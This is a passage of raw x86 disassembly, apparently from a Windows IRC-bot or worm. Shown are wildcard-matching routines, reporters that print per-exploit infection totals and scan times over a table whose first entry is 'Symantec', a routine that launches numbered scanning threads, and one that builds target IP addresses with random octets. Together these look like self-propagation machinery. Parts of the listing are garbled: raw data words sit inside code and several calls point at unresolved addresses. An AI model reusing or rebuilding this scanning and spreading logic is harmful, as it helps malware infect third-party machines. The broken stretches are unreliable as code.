		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40B834
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_40B76A:				; CODE XREF: sub_40B706+37j
					; sub_40B706+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B710
; ---------------------------------------------------------------------------


loc_40B770:				; CODE XREF: sub_40B706+Ej
					; sub_40B706+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_40B780
		cmp	eax, 1
		jnz	short loc_40B797
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B770
; ---------------------------------------------------------------------------


loc_40B780:				; CODE XREF: sub_40B706+6Dj
		cmp	eax, 1
		jnz	short loc_40B797
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_40B797
		cmp	byte ptr [esi],	0
		jnz	short loc_40B797
		push	1
		pop	eax
		jmp	short loc_40B799
; ---------------------------------------------------------------------------


loc_40B797:				; CODE XREF: sub_40B706+72j
					; sub_40B706+7Dj ...
		xor	eax, eax


loc_40B799:				; CODE XREF: sub_40B706+8Fj
		pop	esi
		pop	ebp
		retn
sub_40B706	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B79C	proc near		; CODE XREF: sub_40B706+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_40B7BD
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_40B7BD:				; CODE XREF: sub_40B79C+19j
		push	ebx
		push	esi


loc_40B7BF:				; CODE XREF: sub_40B79C+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_40B7CD
		cmp	[ebp+var_4], eax
		jnz	short loc_40B819


loc_40B7CD:				; CODE XREF: sub_40B79C+2Aj
		test	edi, edi
		jnz	short loc_40B80E
		cmp	bl, 2Dh
		jnz	short loc_40B802
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_40B802
		cmp	al, 5Dh
		jz	short loc_40B802
		cmp	[ebp+var_4], edi
		jnz	short loc_40B802
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_40B80E
		cmp	bl, al
		jg	short loc_40B80E
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_40B80E
; ---------------------------------------------------------------------------


loc_40B802:				; CODE XREF: sub_40B79C+38j
					; sub_40B79C+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_40B80E
		push	1
		pop	edi


loc_40B80E:				; CODE XREF: sub_40B79C+33j
					; sub_40B79C+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_40B7BF
; ---------------------------------------------------------------------------


loc_40B819:				; CODE XREF: sub_40B79C+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_40B826
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_40B826:				; CODE XREF: sub_40B79C+82j
		cmp	edi, eax
		jnz	short loc_40B82F
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_40B82F:				; CODE XREF: sub_40B79C+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_40B79C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B834	proc near		; CODE XREF: sub_40B706+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx


loc_40B850:				; CODE XREF: sub_40B834+3Aj
		cmp	[eax], bl
		jz	short loc_40B870
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_40B865
		cmp	cl, 2Ah
		jnz	short loc_40B870
		cmp	cl, 3Fh
		jnz	short loc_40B868


loc_40B865:				; CODE XREF: sub_40B834+25j
		inc	eax
		mov	[edi], eax


loc_40B868:				; CODE XREF: sub_40B834+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_40B850
; ---------------------------------------------------------------------------


loc_40B870:				; CODE XREF: sub_40B834+1Ej
					; sub_40B834+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_40B87B
		inc	dword ptr [esi]
		jmp	short loc_40B870
; ---------------------------------------------------------------------------


loc_40B87B:				; CODE XREF: sub_40B834+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_40B89C
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_40B88D
		xor	eax, eax
		jmp	short loc_40B8FC
; ---------------------------------------------------------------------------


loc_40B88D:				; CODE XREF: sub_40B834+53j
		cmp	cl, bl
		jnz	short loc_40B89C
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_40B89C
		push	1
		pop	eax
		jmp	short loc_40B8FC
; ---------------------------------------------------------------------------


loc_40B89C:				; CODE XREF: sub_40B834+4Dj
					; sub_40B834+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_40B706
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B8E6


loc_40B8AA:				; CODE XREF: sub_40B834+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]


loc_40B8AE:				; CODE XREF: sub_40B834+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_40B8C6
		cmp	cl, 5Bh
		jz	short loc_40B8C6
		cmp	dl, bl
		jz	short loc_40B8C6
		inc	eax
		mov	[edi], eax
		jmp	short loc_40B8AE
; ---------------------------------------------------------------------------


loc_40B8C6:				; CODE XREF: sub_40B834+82j
					; sub_40B834+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_40B8DD
		push	eax
		push	dword ptr [esi]
		call	sub_40B706
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B8E2
; ---------------------------------------------------------------------------


loc_40B8DD:				; CODE XREF: sub_40B834+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_40B8E2:				; CODE XREF: sub_40B834+A7j
		cmp	eax, ebx
		jnz	short loc_40B8AA


loc_40B8E6:				; CODE XREF: sub_40B834+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_40B8F9
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_40B8F9
		mov	[ebp+var_4], 1


loc_40B8F9:				; CODE XREF: sub_40B834+B6j
					; sub_40B834+BCj
		mov	eax, [ebp+var_4]


loc_40B8FC:				; CODE XREF: sub_40B834+57j
					; sub_40B834+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B834	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B901	proc near		; CODE XREF: sub_401AC7+2AC2p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_431BEC
		push	eax
		xor	ebx, ebx
		call	sub_41C006
		cmp	dword_431808, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40B973
		push	esi
		mov	esi, offset dword_431810


loc_40B934:				; CODE XREF: sub_40B901+6Fj
		mov	eax, [esi]
		test	eax, eax
		jbe	short loc_40B969
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset dword_431BE0
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C950
		add	esp, 1Ch


loc_40B969:				; CODE XREF: sub_40B901+37j
		add	esi, 40h
		cmp	dword ptr [esi-8], 0
		jnz	short loc_40B934
		pop	esi


loc_40B973:				; CODE XREF: sub_40B901+2Bj
		push	dword_4C9044
		call	sub_41AD74
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C950
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415CEE
		add	esp, 38h
		pop	edi
		pop	ebx
		leave
		retn
sub_40B901	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B9CF	proc near		; CODE XREF: sub_401AC7+2AACp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, dword_4CBE10
		mov	ecx, dword_4CBE0C
		push	esi
		push	dword_4C9044
		lea	esi, [ecx+eax]
		call	sub_41AD74
		push	eax
		push	esi
		push	dword_4CBE10
		lea	eax, [ebp+var_200]
		push	dword_4CBE0C
		push	offset unk_431C0C
		push	eax
		call	sub_41C006
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415CEE
		add	esp, 34h
		pop	esi
		leave
		retn
sub_40B9CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA3A	proc near		; CODE XREF: sub_401AC7+2A96p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	dword_4C9044
		call	sub_41AD74
		push	eax
		lea	eax, [ebp+var_200]
		push	dword_4CC058
		push	offset unk_431C54
		push	eax
		call	sub_41C006
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415CEE
		add	esp, 2Ch
		leave
		retn
sub_40BA3A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA8E	proc near		; CODE XREF: sub_401AC7+2A80p

var_1000	= byte ptr -1000h
var_800		= byte ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41C2A0
		push	edi
		lea	eax, [ebp+var_800]
		push	offset dword_431CA0
		push	eax
		call	sub_41C006
		cmp	dword_431808, 0
		pop	ecx
		pop	ecx
		mov	edi, 800h
		jz	short loc_40BAFA
		push	esi
		mov	esi, offset aSymantec ;	"Symantec"


loc_40BAC3:				; CODE XREF: sub_40BA8E+69j
		lea	eax, [esi-0Ah]
		push	eax
		push	esi
		lea	eax, [ebp+var_1000]
		push	offset dword_431C90
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C950
		add	esi, 40h
		add	esp, 1Ch
		cmp	dword ptr [esi+1Eh], 0
		jnz	short loc_40BAC3
		pop	esi


loc_40BAFA:				; CODE XREF: sub_40BA8E+2Dj
		push	dword_4C9044
		call	sub_41AD74
		push	eax
		lea	eax, [ebp+var_1000]
		push	offset aScanTimeS_ ; " Scan Time: %s."
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C950
		push	0
		lea	eax, [ebp+var_800]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_415CEE
		add	esp, 34h
		pop	edi
		leave
		retn
sub_40BA8E	endp

; ---------------------------------------------------------------------------
dword_40BB54	dd 81EC8B55h, 3F0ECh, 8458B00h,	6A575653h, 59F08B4Bh, 0FECCBD8Dh
					; DATA XREF: sub_401AC7+30C9o
		dd 0A5F3FFFFh, 12880C7h, 10000h, 858D0000h, 0FFFFFECCh
		dd 4415FF50h, 33004C93h, 0F84589FFh, 18083D39h,	7D890043h
		dd 87D89FCh, 114840Fh, 8BB0000h, 8B004318h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_40BBA5:				; CODE XREF: ___:0040BCACj
		push	dword ptr [ebp-1Ch]
		push	dword ptr [eax]
		push	dword ptr [ebp-8]
		call	sub_40C336
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_40BCA2
		push	dword ptr [ebx]
		lea	esi, [ebx-28h]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [esi+0Ah]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_431CF0
		push	eax
		call	sub_41C006
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409862
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_415CEE
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-1ECh]
		push	eax
		call	sub_41C006
		lea	eax, [ebp-15Ch]
		push	esi
		push	eax
		call	sub_41C006
		add	esp, 3Ch
		cmp	byte ptr [ebp-0A4h], 0
		lea	eax, [ebp-0A4h]
		jnz	short loc_40BC3D
		lea	eax, [ebp-124h]


loc_40BC3D:				; CODE XREF: ___:0040BC35j
		push	eax
		lea	eax, [ebp-1DCh]
		push	eax
		call	sub_41C006
		mov	eax, [ebp-24h]
		pop	ecx
		mov	[ebp-1F0h], eax
		mov	eax, [ebp-14h]
		mov	[ebp-140h], eax
		mov	eax, [ebp-10h]
		pop	ecx
		mov	[ebp-13Ch], eax
		mov	eax, [ebx]
		sub	esp, 0BCh
		mov	[ebp-150h], eax
		mov	eax, [ebp-18h]
		push	2Fh
		mov	[ebp-14Ch], eax
		mov	eax, [ebp+8]
		pop	ecx
		lea	esi, [ebp-1F0h]
		mov	edi, esp
		mov	[ebp-148h], eax
		rep movsd
		call	dword ptr [ebx+4]
		add	esp, 0BCh
		inc	dword ptr [ebp-4]
		xor	edi, edi


loc_40BCA2:				; CODE XREF: ___:0040BBB8j
		inc	dword ptr [ebp+8]
		add	ebx, 40h
		mov	eax, ebx
		cmp	[ebx], edi
		jnz	loc_40BBA5
		push	dword ptr [ebp-4]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_431CBC
		push	eax
		call	sub_41C006
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409862
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_415CEE
		push	dword ptr [ebp-18h]
		call	sub_40B6C9
		add	esp, 2Ch
		push	edi
		nop
; ---------------------------------------------------------------------------
		dd 2E42FBE8h
		db 2

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BD05	proc near		; CODE XREF: sub_401AC7+23DEp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	0Bh
		call	sub_40B5F5
		test	eax, eax
		pop	ecx
		jle	short loc_40BD41
		mov	eax, [ebp+arg_C]
		push	dword_4C9450[eax*8]
		call	dword_4C9390
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_431D40
		push	eax
		call	sub_41C006
		add	esp, 0Ch
		jmp	short loc_40BD54
; ---------------------------------------------------------------------------


loc_40BD41:				; CODE XREF: sub_40BD05+13j
		lea	eax, [ebp+var_200]
		push	offset unk_431D20
		push	eax
		call	sub_41C006
		pop	ecx
		pop	ecx


loc_40BD54:				; CODE XREF: sub_40BD05+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415CEE
		add	esp, 18h
		leave
		retn
sub_40BD05	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BD7C	proc near		; CODE XREF: sub_40C3D3+263p

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_40C24E
		shl	eax, 6
		xor	ebx, ebx
		cmp	dword_431814[eax], ebx
		jz	loc_40C24E
		push	5
		call	sub_40B5F5
		test	eax, eax
		pop	ecx
		jnz	loc_40C003
		mov	eax, dword_429078
		push	edi
		mov	esi, offset dword_4CB50C
		push	104h
		push	esi
		push	ebx
		mov	dword_4CB71C, eax
		mov	dword_4CB718, ebx
		call	near ptr 2670000h
		nop
		mov	edi, offset byte_429108
		push	103h
		push	edi
		push	offset dword_4CB610
		call	sub_41BD70
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CB508, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_4CB7A0, eax
		jnz	short loc_40BE2F
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CB720
		call	sub_41BD70
		add	esp, 0Ch
		mov	dword_4CB7A4, 1
		jmp	short loc_40BE49
; ---------------------------------------------------------------------------


loc_40BE2F:				; CODE XREF: sub_40BD7C+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CB720
		call	sub_41BD70
		add	esp, 0Ch
		mov	dword_4CB7A4, ebx


loc_40BE49:				; CODE XREF: sub_40BD7C+B1j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CB71C
		push	offset unk_42C208
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_40B3AD
		add	esp, 1Ch
		mov	dword_4CB714, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CB508
		push	offset byte_412155
		push	ebx
		push	ebx
		call	near ptr 26805C5h
		nop
		mov	ecx, dword_4CB714
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_40BEB7


loc_40BEA5:				; CODE XREF: sub_40BD7C+139j
		cmp	dword_4CB7A8, ebx
		jnz	short loc_40BED2
		push	32h
		nop
		call	near ptr 268051Bh
		jmp	short loc_40BEA5
; ---------------------------------------------------------------------------


loc_40BEB7:				; CODE XREF: sub_40BD7C+127j
		call	near ptr 2680DCDh
		nop
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431E60
		push	eax
		call	sub_41C006
		add	esp, 0Ch


loc_40BED2:				; CODE XREF: sub_40BD7C+12Fj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415CEE
		mov	eax, dword_4C9040
		mov	esi, offset dword_4CB7B4
		mov	[esp+210h+var_210], 104h
		push	esi
		push	ebx
		mov	dword_4CB9C4, eax
		mov	dword_4CB9C0, ebx
		call	near ptr 2670000h
		nop
		push	103h
		push	edi
		push	offset dword_4CB8B8
		call	sub_41BD70
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CB7B0, eax
		mov	eax, [ebp+arg_138]
		pop	edi
		mov	dword_4CBA48, eax
		push	7Fh
		jnz	short loc_40BF53
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CB9C8
		call	sub_41BD70
		add	esp, 0Ch
		mov	dword_4CBA4C, 1
		jmp	short loc_40BF6D
; ---------------------------------------------------------------------------


loc_40BF53:				; CODE XREF: sub_40BD7C+1B8j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CB9C8
		call	sub_41BD70
		add	esp, 0Ch
		mov	dword_4CBA4C, ebx


loc_40BF6D:				; CODE XREF: sub_40BD7C+1D5j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CB9C4
		push	offset unk_431E2C
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_40B3AD
		add	esp, 1Ch
		mov	dword_4CB9BC, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CB7B0
		push	offset word_40F37A
		push	ebx
		push	ebx
		call	near ptr 26805C5h
		nop
		mov	ecx, dword_4CB9BC
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_40BFDB


loc_40BFC9:				; CODE XREF: sub_40BD7C+25Dj
		cmp	dword_4CBA50, ebx
		jnz	short loc_40BFF6
		push	32h
		call	near ptr 268051Bh
		nop
		jmp	short loc_40BFC9
; ---------------------------------------------------------------------------


loc_40BFDB:				; CODE XREF: sub_40BD7C+24Bj
		nop
		call	near ptr 2680DCDh
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431DF8
		push	eax
		call	sub_41C006
		add	esp, 0Ch


loc_40BFF6:				; CODE XREF: sub_40BD7C+253j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415CEE
		pop	ecx


loc_40C003:				; CODE XREF: sub_40BD7C+35j
		mov	eax, [ebp+arg_130]
		mov	ecx, eax
		shl	ecx, 6
		cmp	dword_43181C[ecx], ebx
		jz	loc_40C12C
		push	7
		call	sub_40B5F5
		test	eax, eax
		pop	ecx
		jnz	loc_40C126
		mov	eax, dword_4CC050
		cmp	[ebp+arg_90], bl
		mov	dword_4CB474, eax
		mov	eax, [ebp+arg_110]
		mov	dword_4CB468, eax
		mov	eax, [ebp+arg_138]
		mov	dword_4CB470, ebx
		mov	dword_4CB4F8, eax
		push	7Fh
		jnz	short loc_40C077
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CB478
		call	sub_41BD70
		add	esp, 0Ch
		mov	dword_4CB4FC, 1
		jmp	short loc_40C091
; ---------------------------------------------------------------------------


loc_40C077:				; CODE XREF: sub_40BD7C+2DCj
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CB478
		call	sub_41BD70
		add	esp, 0Ch
		mov	dword_4CB4FC, ebx


loc_40C091:				; CODE XREF: sub_40BD7C+2F9j
		push	dword_4CB474
		lea	eax, [ebp+var_204]
		push	offset unk_431DC8
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_204]
		push	7
		push	eax
		call	sub_40B3AD
		add	esp, 18h
		mov	dword_4CB46C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CB468
		push	offset dword_40F0D8
		push	ebx
		push	ebx
		nop
		call	near ptr 26805C5h
		mov	ecx, dword_4CB46C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_40C0FE


loc_40C0EC:				; CODE XREF: sub_40BD7C+380j
		cmp	dword_4CB500, ebx
		jnz	short loc_40C119
		push	32h
		call	near ptr 268051Bh
		nop
		jmp	short loc_40C0EC
; ---------------------------------------------------------------------------


loc_40C0FE:				; CODE XREF: sub_40BD7C+36Ej
		nop
		call	near ptr 2680DCDh
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431D90
		push	eax
		call	sub_41C006
		add	esp, 0Ch


loc_40C119:				; CODE XREF: sub_40BD7C+376j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415CEE
		pop	ecx


loc_40C126:				; CODE XREF: sub_40BD7C+2A8j
		mov	eax, [ebp+arg_130]


loc_40C12C:				; CODE XREF: sub_40BD7C+298j
		shl	eax, 6
		cmp	dword_431818[eax], ebx
		jz	loc_40C24E
		push	3
		call	sub_40B5F5
		test	eax, eax
		pop	ecx
		jnz	loc_40C24E
		mov	esi, offset dword_4CBCE4
		push	104h
		push	esi
		push	ebx
		nop
		call	near ptr 2670000h
		push	5Ch
		push	esi
		call	sub_41C5B0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40C16D
		mov	[eax], bl


loc_40C16D:				; CODE XREF: sub_40BD7C+3EDj
		mov	eax, dword_42907C
		mov	dword_4CBDFC, ebx
		mov	dword_4CBDE8, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CBA5C
		call	sub_41C006
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_4CBA58, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_4CBDE8
		mov	dword_4CBDF4, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_4CBDF8, ecx
		call	sub_40A9FA
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42C190
		push	eax
		call	sub_41C006
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_40B3AD
		add	esp, 20h
		mov	dword_4CBDF0, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CBA58
		push	offset sub_40FAA3
		push	ebx
		push	ebx
		nop
		call	near ptr 26805C5h
		mov	ecx, dword_4CBDF0
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C254[ecx], eax
		jz	short loc_40C226


loc_40C214:				; CODE XREF: sub_40BD7C+4A8j
		cmp	dword_4CBE04, ebx
		jnz	short loc_40C241
		push	32h
		nop
		call	near ptr 268051Bh
		jmp	short loc_40C214
; ---------------------------------------------------------------------------


loc_40C226:				; CODE XREF: sub_40BD7C+496j
		call	near ptr 2680DCDh
		nop
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431D5C
		push	eax
		call	sub_41C006
		add	esp, 0Ch


loc_40C241:				; CODE XREF: sub_40BD7C+49Ej
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415CEE
		pop	ecx


loc_40C24E:				; CODE XREF: sub_40BD7C+14j
					; sub_40BD7C+25j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_40BD7C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C252	proc near		; CODE XREF: sub_40C3D3:loc_40C444p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:4C9450h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_41CAB0
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4C922C
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4C9300
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_41CAB0
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40C252	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C29A	proc near		; CODE XREF: sub_40C3D3+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_41B960
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40C2C2
		xor	eax, eax
		jmp	short loc_40C333
; ---------------------------------------------------------------------------


loc_40C2C2:				; CODE XREF: sub_40C29A+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_41CA73
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_40C2EF
		call	sub_41C062
		mov	[ebp+var_C], eax


loc_40C2EF:				; CODE XREF: sub_40C29A+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_40C2FC
		call	sub_41C062
		mov	[ebp+var_8], eax


loc_40C2FC:				; CODE XREF: sub_40C29A+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40C309
		call	sub_41C062
		mov	[ebp+var_4], eax


loc_40C309:				; CODE XREF: sub_40C29A+65j
		mov	eax, [ebp+var_10]
